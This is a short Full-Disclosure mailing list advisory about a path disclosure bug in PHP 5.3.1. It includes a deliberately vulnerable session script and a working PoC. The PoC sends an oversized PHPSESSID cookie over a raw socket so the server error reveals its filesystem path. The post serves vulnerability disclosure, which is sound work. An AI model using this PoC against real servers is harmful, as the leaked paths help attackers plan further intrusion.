[Full-disclosure] Path disclosure in PHP 5.3.1

[WHK <www.kernel32@xxxxxxxxx>]

Make a script vulnerable:
<?php
session_start();
if($_SESSION)
  echo $_SESSION;
else
  $_SESSION = 'xx';
?>

Now look the script in you explorer and change the value of cookie 
"PHPSESSID" to 300 chars "a" and look the disclosure:
Warning: session_start() [function.session-start]: 
open(/tmp/sess_aaaaaaaaaaaaaaaaaa ..... aa in /opt/lampp/htdocs/test.php 
on line 3

PoC:
<?php
error_reporting(0);

$payload =
'GET / HTTP/1.1
Host: 127.0.0.1
Connection: close
Cookie: PHPSESSID='.str_repeat('a', 500).';

';

if(!$handle = fsockopen('127.0.0.1', 80)){
  die('Error');
}else{
  fputs($handle, $payload);
  while(!feof($handle)){
   $retorno .= fread($handle, 1024);
  }
  echo nl2br(htmlspecialchars($retorno, ENT_QUOTES));
}
?>

if value of cookie is "aaaaaaa" then file in temp of server is 
"sess_aaaaaaa", if value of cookie is ax300 dont make file and return 
the error message.

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